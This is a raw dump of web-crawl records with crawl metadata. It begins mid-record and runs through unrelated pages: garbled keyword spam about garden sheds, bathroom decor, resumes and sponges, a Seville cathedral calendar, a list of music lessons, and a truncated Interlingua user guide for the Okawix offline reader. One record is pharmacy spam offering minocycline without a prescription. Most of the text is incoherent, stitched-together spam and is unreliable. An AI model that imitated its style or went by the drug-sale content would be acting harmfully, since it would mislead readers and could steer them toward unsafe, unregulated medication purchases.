Jardin Abri De Jardin Le Bon Coin Le Bon Coin Abri De Jardin) in High Resolution, right click on the image and choose \"Save Image As\" and then you will get this image about Le Bon Coin Abris De Jardin Abri De Jardin Le Bon Coin Le Bon Coin Abri De Jardin.\nThis digital photography of Le Bon Coin Abris De Jardin Abri De Jardin Le Bon Coin Le Bon Coin Abri De Jardin has picture size 1280x960 pixels. You can see another items of this gallery of Merveilleux Le Bon Coin Abris De Jardin below. Get interesting article about Merveilleux Le Bon Coin Abris De Jardin that may help you. Admin, Regards.\nTitle : Le Bon Coin Abris De Jardin Abri De Jardin Le Bon Coin Le Bon Coin Abri De Jardin HD Wallpapers for Android, iPad, iPhone or PC Tablets, Categories : , Upload by : jeany, Topics : on lundi, décembre 17th, 2018, Download : Download image","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/www.kertourisme.net\/le-bon-coin-abris-de-jardin\/le-bon-coin-abris-de-jardin-le-bon-coin-abris-de-jardin-abri-de-jardin-le-bon-coin-le-bon-coin-abri-de-jardin\/","date":"2019-03-21T23:06:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202572.7\/warc\/CC-MAIN-20190321213516-20190321235516-00244.warc.gz","language":"ina","language_score":0.3328539431,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.33285394310951233, \"fra_Latn_score\": 0.2632831037044525, \"dag_Latn_score\": 0.10720714181661606, \"cbk_Latn_score\": 0.0695614367723465, \"hat_Latn_score\": 0.04265544191002846, \"pcm_Latn_score\": 0.02886166237294674, \"vec_Latn_score\": 0.02743346057832241, \"wes_Latn_score\": 0.013739860616624355, \"oci_Latn_score\": 0.011668660677969456}","num_words":396,"character_repetition_ratio":0.287,"word_repetition_ratio":0.261,"special_characters_ratio":0.232,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":0.367,"perplexity_score":4139.1,"cluster_detection":-1} +{"text":"deco salle de bain moderne mornes morne grand decoration petite salle de bain moderne et53.\ndeco salle de bain moderne chic 2017 coration d morne co decoration marron,photos decoration salle de bain moderne idee deco morne contemporary amazing i petite,s morne deco salle de bain moderne petite douche idee decoration,deco salle de bain moderne 2016 photos decoration the shopping online morne idee,deco salle de bain moderne petite zen on ration d 2017 photos decoration,decoration petite salle de bain moderne deco chic marron coration morne d,deco salle de bain moderne 2016 idee photos decoration morne,deco salle de bain moderne 2016 perfect my blog idee decoration petite,zen best of morne idee deco salle de bain moderne decoration 2017 photos,deco salle de bain moderne chic decoration marron elegant morne wallpaper ie photos.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-mornes-morne-grand-decoration-petite-salle-de-bain-moderne-et53\/","date":"2019-03-26T18:31:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912205600.75\/warc\/CC-MAIN-20190326180238-20190326202238-00356.warc.gz","language":"ina","language_score":0.5092554688,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5092554688453674, \"eng_Latn_score\": 0.09425271302461624, \"sco_Latn_score\": 0.05838343873620033, \"fra_Latn_score\": 0.04516476020216942, \"enm_Latn_score\": 0.028747551143169403, \"pan_Latn_score\": 0.020049652084708214, \"ile_Latn_score\": 0.01875879056751728, \"mwl_Latn_score\": 0.015379815362393856, \"hif_Latn_score\": 0.012187774293124676}","num_words":214,"character_repetition_ratio":0.289,"word_repetition_ratio":0.01,"special_characters_ratio":0.198,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.509,"perplexity_score":6968.2,"cluster_detection":-1} +{"text":"exemple de resume de paraeducator on peut presumer que.\nexemple de resume de paraeducator paraprofessional cover letter cover letter for a paraprofessional paraprofessional cover letter sample next lesson paraprofessional resume sample chapter traduction p.\nexemple de resume de paraeducator resume no experience presumer definition synonyme.\nexemple de resume de paraeducator que es presumir.\nexemple de resume de paraeducator formats on peut presumer que.\nexemple de resume de paraeducator formats que signifie presumer de ses forces.\nexemple de resume de paraeducator formats presumer de ses forces expression.\nexemple de resume de paraeducator presumer de ses capacites.\nexemple de resume de paraeducator formats presumer synonyme 5 lettres.\nexemple de resume de paraeducator paraprofessional resumes co se presumer synonyme.\nexemple de resume de paraeducator similar resumes presume coupable traduction anglais.\nexemple de resume de paraeducator presumer de ses forces en anglais.\nexemple de resume de paraeducator formats presumer en anglais.\nexemple de resume de paraeducator motivation licence pro presumer synonyme.\nexemple de resume de paraeducator similar resumes sans presumer de en anglais.\nexemple de resume de paraeducator para professional resume co sans presumer de en anglais.\nexemple de resume de paraeducator paraprofessional cover letter paraprofessional cover letter sample que es presumir.\nexemple de resume de paraeducator motivation motivation en conception curriculum vitae motivation new curriculum vitae template synonyme presumer de ses forces.\nexemple de resume de paraeducator teacher aide certificate example resume for teacher assistant presumer definition synonyme.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/akrasia.me\/exemple-de-resume-de-paraeducator\/","date":"2019-04-19T20:32:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578528058.3\/warc\/CC-MAIN-20190419201105-20190419223105-00349.warc.gz","language":"ina","language_score":0.4523619115,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.45236191153526306, \"fra_Latn_score\": 0.12995491921901703, \"nrm_Latn_score\": 0.08029060810804367, \"cat_Latn_score\": 0.07214228808879852, \"ile_Latn_score\": 0.043276477605104446, \"nov_Latn_score\": 0.03158721700310707, \"oci_Latn_score\": 0.02759719453752041, \"glg_Latn_score\": 0.021272707730531693, \"sco_Latn_score\": 0.01983087882399559, \"por_Latn_score\": 0.016185753047466278, \"dag_Latn_score\": 0.015731794759631157, \"lat_Latn_score\": 0.012103733606636524}","num_words":432,"character_repetition_ratio":0.292,"word_repetition_ratio":0.333,"special_characters_ratio":0.149,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":0.452,"perplexity_score":6183.7,"cluster_detection":-1} +{"text":"donde comprar minocycline hydrochloride en el df: minocycline hydrochloride 100 mg venta en quito. comprar minocycline hydrochloride sin receta precios. donde comprar minocycline hydrochloride minocin en chile\nminocycline hydrochloride precio narino! comprar minocycline hydrochloride generico pago bitcoin. minocycline hydrochloride donde comprar buenos aires. minocycline hydrochloride 100 mg comprar farmacia en línea; se puede comprar minocycline hydrochloride sin receta en farmacias argentina\ndonde comprar minocycline hydrochloride en argentina\ncomprar minocycline hydrochloride 50 mg precio, comprar minocycline hydrochloride soft online. comprar minocycline hydrochloride 50mg de calidad; minocycline hydrochloride 50mg comprar bogota. comprar minocycline hydrochloride en farmacia. a donde puedo comprar minocycline hydrochloride. puedo comprar minocycline hydrochloride en una farmacia sin receta\npara comprar minocin hace falta receta\ndonde comprar minocin sin receta México comprar minocycline hydrochloride 100 mg mapuche minocycline hydrochloride 100 mg domicilio venta\ncomprar minocin medicina Estados Unidos comprar minocycline hydrochloride farmacia 2019\ncomprar minocycline hydrochloride receta médica\nminocin 100 mg pura venta minocin 50mg venta bajo receta archivada\ndonde comprar minocycline hydrochloride en huelva\ncomo comprar minocycline hydrochloride en farmacia\ncomprar minocycline hydrochloride 50mg receta medica","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/orgtorg.pro\/index.php\/forum\/razdel-predlozhenij\/114729-minocin-minocycline-hydrochloride-50-mg-donde-comprar-al-mejor-precio-se-puede-comprar-minocycline-hydrochloride-en-mexico","date":"2019-05-24T11:56:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257605.76\/warc\/CC-MAIN-20190524104501-20190524130501-00474.warc.gz","language":"ina","language_score":0.6593552828,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6593552827835083, \"spa_Latn_score\": 0.11279712617397308, \"nld_Latn_score\": 0.06095972657203674, \"mlt_Latn_score\": 0.02357632853090763, \"ile_Latn_score\": 0.018554527312517166, \"lvs_Latn_score\": 0.013136818073689938, \"quz_Latn_score\": 0.010353656485676765, \"por_Latn_score\": 0.010058151558041573}","num_words":422,"character_repetition_ratio":0.413,"word_repetition_ratio":0.153,"special_characters_ratio":0.151,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.666,"perplexity_score":10709.0,"cluster_detection":-1} +{"text":"Repaso pamer uni 2014 ii calameo downloader con que letra se hace un curriculum vitae. Eur lex r3821 en eur lex con que letra se hace un curriculum vitae. Con que letra se hace un curriculum vitae 58 best web 2 0 e estratexias para a procura de emprego images on. Con que letra se hace un curriculum vitae pdf euphemism and language change the sixth and seventh ages. Vol 22 greta journal 2014 by greta granada issuu con que letra se hace un curriculum vitae.\nRepaso Pamer Uni 2014 Ii Calameo Downloader Con Que Letra Se Hace Un Curriculum Vitae fuente: calameo.download\nEur Lex R3821 En Eur Lex Con Que Letra Se Hace Un Curriculum Vitae fuente: eur-lex.europa.eu\nCon Que Letra Se Hace Un Curriculum Vitae 58 Best Web 2 0 E Estratexias Para A Procura De Emprego Images On fuente: pinterest.com\nCon Que Letra Se Hace Un Curriculum Vitae Pdf Euphemism and Language Change the Sixth and Seventh Ages fuente: researchgate.net\nVol 22 Greta Journal 2014 by Greta Granada issuu Con Que Letra Se Hace Un Curriculum Vitae fuente: issuu.com\nCurriculum Vitae 2018 C³mo Hacer Un Buen Curriculum Plantillas Cv Con Que Letra Se Hace Un Curriculum Vitae fuente: claudioinacio.com\nCon Que Letra Se Hace Un Curriculum Vitae Eur Lex R1110 Sl Eur Lex fuente: eur-lex.europa.eu\nCurriculum vitae 2018 c³mo hacer un buen curriculum plantillas cv con que letra se hace un curriculum vitae. Con que letra se hace un curriculum vitae eur lex r1110 sl eur lex. Con que letra se hace un curriculum vitae moldes de letras para imprimir nocturnar. O es un curriculum vitae simple – 25 curriculum vitae template con que letra se hace un curriculum vitae.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/con-que-letra-se-hace-un-curriculum-vitae\/","date":"2019-06-20T15:55:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999261.43\/warc\/CC-MAIN-20190620145650-20190620171650-00380.warc.gz","language":"ina","language_score":0.3699548244,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.36995482444763184, \"spa_Latn_score\": 0.18143939971923828, \"cbk_Latn_score\": 0.1272827684879303, \"glg_Latn_score\": 0.06671730428934097, \"lat_Latn_score\": 0.04469950497150421, \"oci_Latn_score\": 0.026031753048300743, \"srd_Latn_score\": 0.02439647912979126, \"arg_Latn_score\": 0.022605421021580696, \"sco_Latn_score\": 0.013761603273451328}","num_words":485,"character_repetition_ratio":0.197,"word_repetition_ratio":0.616,"special_characters_ratio":0.225,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":0.374,"perplexity_score":5336.3,"cluster_detection":-1} +{"text":"como hacer un curriculum vitae basico o hacer un resume creativo para dise±o gráfico, o crear un curriculum vitae en word office 2013 como hacer un curriculum vitae basico, curriculum vitae basico como hacer un curriculum vitae basico, excelente curriculum vitae básico regalo ejemplo de colecci³n de como hacer un curriculum vitae basico, como hacer un curriculum vitae basico o hacer y elaborar un curriculum vitae 2018 perfil y objetivo,\nComo Hacer Un Curriculum Vitae Basico O Hacer Un Resume Creativo Para Dise±o Gráfico fuente: guiaportafolio.blogspot.com\nO Crear Un Curriculum Vitae En Word Office 2013 Como Hacer Un Curriculum Vitae Basico fuente: youtube.com\nCurriculum Vitae Basico Como Hacer Un Curriculum Vitae Basico fuente: es.slideshare.net\nExcelente Curriculum Vitae Básico Regalo Ejemplo De Colecci³n De Como Hacer Un Curriculum Vitae Basico fuente: collectifcreatif.info\nComo Hacer Un Curriculum Vitae Basico O Hacer Y Elaborar Un Curriculum Vitae 2018 Perfil Y Objetivo fuente: youtube.com\nWord 2010 Curriculum Basico Como Hacer Un Curriculum Vitae Basico fuente: youtube.com\nTips Para Realizar Un Curriculum Exitoso F topic Taringa Como Hacer Un Curriculum Vitae Basico fuente: taringa.net\nword 2010 curriculum basico como hacer un curriculum vitae basico, tips para realizar un curriculum exitoso f topic taringa como hacer un curriculum vitae basico, como hacer un curriculum vitae basico curriculum vitae, como hacer un curriculum vitae basico anexo 2 formulario curriculum vitae ciego,","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/teleycinema.com\/como-hacer-un-curriculum-vitae-basico\/","date":"2019-07-17T20:44:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525402.30\/warc\/CC-MAIN-20190717201828-20190717223828-00496.warc.gz","language":"ina","language_score":0.3425066173,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.34250661730766296, \"spa_Latn_score\": 0.31142759323120117, \"arg_Latn_score\": 0.07089634984731674, \"glg_Latn_score\": 0.04425019025802612, \"lat_Latn_score\": 0.04398711770772934, \"cbk_Latn_score\": 0.033025745302438736, \"ast_Latn_score\": 0.01330894697457552, \"pap_Latn_score\": 0.010617746040225029, \"yua_Latn_score\": 0.010313252918422222}","num_words":419,"character_repetition_ratio":0.242,"word_repetition_ratio":0.578,"special_characters_ratio":0.184,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":0.425,"perplexity_score":5687.5,"cluster_detection":-1} +{"text":"non cellulose sponge light duty cellulose sponges non scratching non cellulose sponge image.\nnon cellulose sponge superio non scratch cellulose sponge 1 pack non cellulose sponge brands.\nnon cellulose sponge more views non cellulose sponge brands scotch.\nnon cellulose sponge special offer bestone cellulose sponge cloth pm 99p natural noncompressed cellulose sponges sponges intrinsics intrinsics natural noncompressed cellulose sponges.\nnon cellulose sponge superio non scratch cellulose sponge 3 pack types of non cellulose sponges where to buy.\nnon cellulose sponge ahold bamboo sponges 3 ct non cellulose sponge where to buy.\nnon cellulose sponge water absorbent thin non cellulose sponge where to buy non cellulose sponges.\nnon cellulose sponge superio non scratch cellulose sponge 1 pack types of non cellulose sponges at home.\nnon cellulose sponge this item is currently out of stock types of non cellulose sponges artificial or natural.\nnon cellulose sponge cellulose sponge cloths non cellulose sponge brands.\nnon cellulose sponge cellulose sponge cloth by compac industries 12 sponges cleaning reusable kitchen sponge cloths save money by what are non cellulose sponges.\nnon cellulose sponge medium duty scrubbing sponge 20 pack absorbent cellulose sponge on one side by types of non cellulose sponges for face.\nnon cellulose sponge intrinsics natural non compressed cellulose sponges types of non cellulose sponges in bulk.\nnon cellulose sponge chuangdi 12 pack cleaning scrubbing sponge kitchen cellulose dish sponge for removing hard dirt types of non cellulose sponges walmart.\nnon cellulose sponge scotch brite cellulose sponge 4 pack types of non cellulose sponges information.\nnon cellulose sponge scotch brite non scratch scrub sponge where to buy non cellulose sponges.\nnon cellulose sponge related post types of non cellulose sponges large.\nnon cellulose sponge kosher superior perfor non scratch cellulose sponge red 1 pck types of non cellulose sponges large.\nnon cellulose sponge about this item empresas esto comprando pva esponja noabrasivo esfrego pano de empresas esto comprando pva esponja noabrasivo esfrego pano de esponja.\nnon cellulose sponge munkcare foam non cellulose sponge melamine sponge specific brand name of non cellulose sponges.\nnon cellulose sponge ahold bamboo sponges 3 ct from stop shop instacart zip code check where to buy non cellulose sponges.\nnon cellulose sponge types of non cellulose sponges at home.\nnon cellulose sponge s shape cellulose sponge scourer with non scratch scouring pad types of non cellulose sponges large.\nnon cellulose sponge glove holding kitchen sponge what are non cellulose sponges.\nnon cellulose sponge multi purpose sponge 2 pack types of non cellulose sponges at home.\nnon cellulose sponge soft durable 100 wood pulp cellulose sponge cloth non woven wipes super absorbent quick dry types of non cellulose sponges walmart.\nnon cellulose sponge scotch brite 3 pack cellulose sponges with scouring pads hd 3 12 non scratching non cellulose sponges.\nnon cellulose sponge what are cellulose sponges made from what are non cellulose sponges.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/worldgeeks.info\/non-cellulose-sponge\/","date":"2019-11-14T12:37:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668416.11\/warc\/CC-MAIN-20191114104329-20191114132329-00015.warc.gz","language":"ina","language_score":0.5298956037,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5298956036567688, \"eng_Latn_score\": 0.3273814618587494, \"ita_Latn_score\": 0.021155674010515213, \"bug_Latn_score\": 0.012189854867756367, \"lat_Latn_score\": 0.010457520373165607, \"ben_Latn_score\": 0.010404008440673351}","num_words":849,"character_repetition_ratio":0.371,"word_repetition_ratio":0.242,"special_characters_ratio":0.168,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.53,"perplexity_score":16396.7,"cluster_detection":-1} +{"text":"Visita cultura S.I. Catedral De 11.00 a 17.00h (Taquilla de 11.00 h. a 16.00 h.) + Añadir Google Calendar + iCal exportar juniojulio 2020agosto MOTUWETHFRSASU 293012345Actos julio 1stSin actosActos julio 2ndSin actosActos julio 3rdSin actosActos julio 4thSin actosActos julio 5thSin actos6789101112Actos julio 6thSin actosActos julio 7thSin actosActos julio 8thSin actosActos julio 9thSin actosActos julio 10thSin actosActos julio 11thSin actosActos julio 12thSin actos13141516171819Actos julio 13thSin actosActos julio 14thSin actosActos julio 15thSin actosActos julio 16thSin actosActos julio 17th 09:30 - 18:00Festividad de Santa Justa y RufinaCatedral de SevillaActos julio 18thSin actosActos julio 19thSin actos20212223242526Actos julio 20thSin actosActos julio 21stSin actosActos julio 22ndSin actosActos julio 23rdSin actosActos julio 24thSin actosActos julio 25th 08:00 - 18:00Solemnidad de Santiago ApostolActos julio 26thSin actos272829303112 Actos julio 27thSin actosActos julio 28thSin actosActos julio 29thSin actosActos julio 30thSin actosActos julio 31stSin actos","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.catedraldesevilla.es\/actos\/visita-cultura-s-i-catedral-2-2\/","date":"2020-07-13T05:56:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657142589.93\/warc\/CC-MAIN-20200713033803-20200713063803-00069.warc.gz","language":"ina","language_score":0.610137701,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"ina_Latn_score\": 0.6101377010345459, \"spa_Latn_score\": 0.2868068516254425, \"lit_Latn_score\": 0.012537367641925812, \"ayr_Latn_score\": 0.012039965018630028, \"quy_Latn_score\": 0.011409248225390911}","num_words":320,"character_repetition_ratio":0.38,"word_repetition_ratio":0.669,"special_characters_ratio":0.277,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":0.501,"perplexity_score":10651.0,"cluster_detection":-1} +{"text":"Music Classes essen Orff Music Lesson in essen Xylophone Child Lesson in essen Fluet Children Lesson in essen Child Music Lesson in essen Music theory Lesson in essen Persian Taraneh Lesson in essen Harmoney Lesson in essen Konkour Music Lesson in essen Classic Violin Lesson in essen Guitar Lesson in essen Piano Lesson in essen Violin Alto Lesson in essen Flute Lesson in essen Cajon Lesson in essen Harmonica Lesson in essen Hangderam Lesson in essen Clarinet Lesson in essen Persian Tang Lesson in essen Persian Setar Lesson in essen Persian Kanun Lesson in essen Persian Santoor Lesson in essen Persian Tonbak Lesson in essen Persian Ney Lesson in essen Persian Daf Lesson in essen Persian Tar Lesson in essen Persian Kamancheh Lesson in essen Baglama Lesson in essen Persian Tanbur Lesson in essen Persian Violin Lesson in essen Persian Piano Lesson in essen Oud Lesson in essen Persian Avaz Lesson in essen Persian Foley Lesson in essen Persian Singing Lesson in essen Persian Chore Lesson in essen Persian Pop Singing Lesson in essen","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.inavaz.com\/en\/city\/essen\/","date":"2022-01-18T10:19:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300810.66\/warc\/CC-MAIN-20220118092443-20220118122443-00241.warc.gz","language":"ina","language_score":0.4986723363,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.49867233633995056, \"ita_Latn_score\": 0.14029471576213837, \"vec_Latn_score\": 0.12295755743980408, \"srd_Latn_score\": 0.04941115528345108, \"ile_Latn_score\": 0.034622278064489365, \"deu_Latn_score\": 0.02657332457602024, \"cos_Latn_score\": 0.01659511961042881, \"eus_Latn_score\": 0.016273900866508484, \"nov_Latn_score\": 0.012838250957429409, \"lmo_Latn_score\": 0.012264776043593884}","num_words":258,"character_repetition_ratio":0.448,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.643,"perplexity_score":16492.4,"cluster_detection":-1} +{"text":"Prime passos con Okawix:\nQuando tu lancea Okawix pro le prime vice, tu videra: in le alto del fenestra, le instrumentario; sub le instrumentario, le recercatorio; e sub le recercatorio, al sinistra, le quadro de gestion de corpus e, al dextra, un quadro principal. Iste ultime te permitte seliger le linguas del contento (tamben appellate archivos, o Corpus) que tu vole discargar, a fin de poter leger los foras de linea. Tu pote seliger tante linguas como tu vole.\nPer exemplo, selige Interlingua, e postea clicca super Select languages.\nAppare un lista de tote le archivos disponibile in iste lingua. In addition tu habera le possibilitate de demandar le creation de un archivo de tu proprie sito web: simplemente entra tu adresse de e-mail e le URL de tu sito web, e clicca super Request.\nClicca super le button Download del archivo que tu vole explorar foras de linea. Okawix te propone de salveguardar le archivo in un disco local, in le directorio de tu preferentia.\nTu pote seliger de discargar le archivo con o sin imagines (a fin de minimisar le spatio de immagazinage e le tempore necessari pro discargar le archivo).\nClicca super Installar. Le archivo seligite es alora salveguardate, e su pagina principal appare in le quadro principal (sin imagines si tu seligeva de non discargar los). In le quadro sinistre, le nomine del archivo es addite al lista de archivos immagazinate localmente.\nLe articulos de iste archivo pote ora esser legite foras de linea.\nLe buttones retro e avante: le buttones retro e avante te permitte retornar al previe ressource e de re-avantiar al proxime, como in un navigator del web.\nLe button Initio: monstra in le quadro principal le pagina principal del archivo que tu consulta, e al sinistra le quadro de gestion de corpus.\nLe button Monstrar resultatos de recerca: monstra in le quadro plicabile al sinistra le resultatos de tu ultime recerca.\nLe button Monstrar historia: presenta in le quadro plicabile al sinistra le recercas que tu ha facite anteriormente con le recercatorio de Okawix, i.e. le historia de tu recercas. Un clic super un entrata de tu historia de recercas presenta, in le mesme quadro, le resultatos del recerca super le qual tu cliccava.\nLe button Imprimer iste pagina: lancea le programma de impression de tu systema de operation.\nLe button Plus contento: presenta al sinistra le quadro de gestion de corpus, e in le quadro principal, al dextra, le formulario pro selection de linguas. (Si le linguas ha ja essite seligite durante le session actual de Okawix, alora appare le pagina de selection de archivo, con le archivos disponibile pro le linguas que tu seligeva.)\nLe button Adjuta: presenta iste guida de usator. (In le fenestra del guida se trova tamben le button A proposito. Un clic super illo face apparer le quadro A proposito, continente le creditos de Okawix.)\nComo cercar intra un corpus (le campo Recerca e le button Lancear le recerca): Okawix permitte cercar intra le corpus active le articulos relevante a un consulta de tu preferentia. Iste functionalitate es fornite per le motor de recerca semantic Wikiwix (disveloppate, como Okawix, per le compania Linterweb).\nEs simple facer un recerca: entra tu consulta in le campo de recerca. Durante que tu lo entra, le functionalitate de autocompletion te da suggestiones de consultas relevante a lo que tu ha entrate usque ora e al corpus actualmente active. (Le functionalitate de autocompletion es activate solmente post le entrata de al minus quatro litteras in le campo de recerca; nota que le simple facto que un parola non appare in le lista de suggestiones non implica que le parola non occurre in le corpus, ni que nulle articulo del corpus corresponde a tu consulta.)\nPost haber entrate tu consulta, face un del sequente cosas pro completar le recerca:\n- clicca super un del terminos suggerite.\n- selige un del terminos suggerite con le claves de sagitta in alto o in basso, e preme Enter.\n- entra un parola in le campo Recerca e preme Enter.\n- entra un parola in le campo Recerca e clicca super le button Lancear le recerca.\nLe prime vinti-cinque resultatos de recerca es presentate in le quadro plicabile al sinistra, assortite per relevantia a tu consulta. Le nomines del articulos trovate per le motor de recerca es scribite super barras rectangular colorate con longitudes proportional al relevantia del articulos a tu consulta.\nNota 1: le facto que un articulo appare inter le resultatos relevante a un consulta non implica que le articulo contine tote le parolas de iste consulta; le relevantia de un articulo es evalutate per le motor de recerca Wikiwix con le adjuta de complexe algorithmos cuje detalios es infortunatemente ultra le campo de application de iste documentation.\nNota 2: Wikiwix es optimisate pro consultas ponite in linguage natural (tamben appellate ordinari). Isto vole dicer, in vice de entrar in le campo de recerca solmente parolas-clave, lo que tu expecta de producer le melior resultatos de recerca, o in altere parolas, in vice de adaptar tu consulta al motor de recerca, como tu lo facerea con le majoritate del motores de recerca, tu pote con Wikiwix poner tu question como tu lo facerea si tu parlava con un persona human. Per exemplo, assume que tu vole cognoscer le altitude del turre de Eiffel. Con Wikiwix, tu pote poner le question assi: \"Que es le altitude del turre de Eiffel?\". Wikiwix alora tentara \"comprender\" le significato de tu consulta e retornar te le resultatos de recerca le plus relevante a iste question. Nos debe totevia clarificar que Wikiwix non attinge ancora le grado de intelligentia de un ver esser human quanto al comprension de questiones; meliorationes essera portate con le publication de nove versiones de Okawix e Wikiwix.\nLe button Cercar un parola in iste pagina: permitte trovar le occurrentias de un date catena de characteres intra le pagina presente in le quadro principal. Quando tu clicca super iste button, un fenestretta de dialogo Cercar appare. Entra in le campo de texto qualcunque catena de characteres cuje occurrentias, si existe, tu vole trovar.\nMarca le quadrato Match case si tu vole que le recerca sia sensibile al differentia inter majusculas e minusculas, dismarca lo alteremente. (Si iste option es marcate e tu cerca per exemplo le occurrentias del parola \"statos\", alora le occurrentias del parola \"Statos\" non essera trovate, proque \"Statos\" comencia con un majuscula, contrarimente a \"statos\".)\nMarca le quadrato Wrap si tu vole que le recerca continua in le alto del pagina quando su fin ha essite attingite (dismarca lo alteremente).\nTu pote tamben definir le direction del recerca: de alto a basso si Down es seligite, de basso in alto si Up es seligite.\nAlora clicca super Find Next pro comenciar le recerca. Si existe, le prime occurrentia del catena de characteres es colorate in blau. Clicca de novo pro trovar le secunde occurrentia, si existe, e de novo pro trovar le tertie occurrentia, ... Si nulle occurrentia (ulterior) se trova in le pagina, tu videra le message \"The text you entered was not found\" (a minus que le quadrato Wrap non es marcate).\nClicca super Cancel pro clauder le fenestretta de dialogo Cercar.\nLe pagina de selection de linguas: iste pagina permitte seliger le linguas del contento (tamben appellate archivos o Corpus) que tu vole discargar, a fin de poter leger los foras de linea. Si le linguas non habeva ancora essite seligite durante le session actual de Okawix, tu accede a iste pagina per cliccar super le button Plus contento del instrumentario. Si le linguas habeva ja essite seligite, le pagina de selection de archivos es presentate in loco del pagina de selection de linguas; tu pote alora cambiar le linguas seligite per cliccar super modificar (post le parolas \"Linguas seligite\").\nTu pote seliger plure linguas. Le linguas es assortite per le numero de articulos del Wikipedia in le lingua correspondente.\nPostea, clicca super Seliger linguas; le pagina de selection de archivos se presenta.\nLe pagina de selection de archivos: Iste pagina permitte primo seliger le archivos que tu vole discargar, a fin de poter leger los foras de linea, e in addition permitte le creation de archivos de tu proprie sito web. Iste pagina es attingibile con un clic super le button Plus contento del instrumentario. Si le linguas non habeva ancora essite seligite durante le session actual de Okawix, le pagina de selection de linguas se presenta in loco del pagina de selection de archivos; in iste caso tu debe primo seliger le linguas del contento (tamben appellate archivos, o Corpus) que tu vole discargar e postea cliccar super Seliger linguas, pro finalmente arrivar al pagina de selection de archivos.\nLe pagina de selection de archivos detalia le archivos disponibile pro le linguas que tu habeva previemente seligite, con specification de lor volumine.\nPro discargar un archivo, simplemente clicca super le correspondente button Discargar. Le pagina de installation de iste archivo se presenta alora, e le nomine del archivo es addite al lista install del archivos attendente installation pro le session actual de Okawix, in le quadro de gestion de corpus (le quadro plicabile al sinistra).\nFinalmente, si tu vole crear un archivo de tu proprie sito web, simplemente entra tu adresse de e-mail e le URL de tu sito web, e clicca super Request.\nLe pagina de installation de un archivo date: permitte discargar e installar un archivo previemente seligite. Pro acceder a iste pagina, face un del sequente cosas:\n- clicca, in le quadro de gestion de corpus (le quadro plicabile al sinistra), super le nomine de un archivo de tu preferentia, in le lista install, si iste lista non es vacue.\n- si le archivo que tu vole installar non appare in le lista install del archivos attendente installation pro le session actual de Okawix, in le quadro de gestion de corpus (le quadro plicabile al sinistra), alora clicca, in le pagina de selection de archivos, super le button Download correspondente al archivo de tu preferentia.\nLe pagina te monstra le nomine del archivo a installar, e le directorio in le qual le archivo essera salveguardate. (Si tu vole seliger un altere directorio, entra le cammino de iste directorio in le correspondente campo de texto, o clicca super le button Browse e selige le directorio appropriate.)\nSi le option Install images es seligite, le imagines continite in le articulos essera discargate e installate tamben (lo que augmentara le tempore de discargamento e le spatio de immagazinage local necessari pro salveguardar le archivo).\nLe volumine total de lo que tu installa (le archivo solmente, o le archivo con su imagines) es etiam monstrate sub le button Browse.\nUn clic super Cancel remove le nomine del archivo ex le lista install del archivos attendente installation pro le session actual de Okawix, in le quadro de gestion de corpus (le quadro plicabile al sinistra).\nSi tu clicca super Install, Okawix installa le archivo, e su nomine es displaciate ex le lista install del archivos attendente installation pro le session actual de Okawix, a in le lista local del archivos ja installate, in le quadro de gestion de corpus (le quadro plicabile al sinistra). Si iste archivo habeva essite installate previemente, tu videra un message dicente que \"le corpus es ja installate\" e demandante si tu \"vole actualisar lo\".\nLe quadro de gestion de corpus: permitte gerer le corpus (etiam appellate archivos, o contento), p.ex. pro installar o supprimer los, pro adder le imagines, ...\nTu pote acceder a iste quadro per cliccar, in le instrumentario, super Initio, o super Plus contento. Le quadro es plicabile e sempre appare al sinistra del interfacie.\nLe quadro contine, de alto a basso:\n- le lista local del archivos previemente installate (si existe). Un clic super 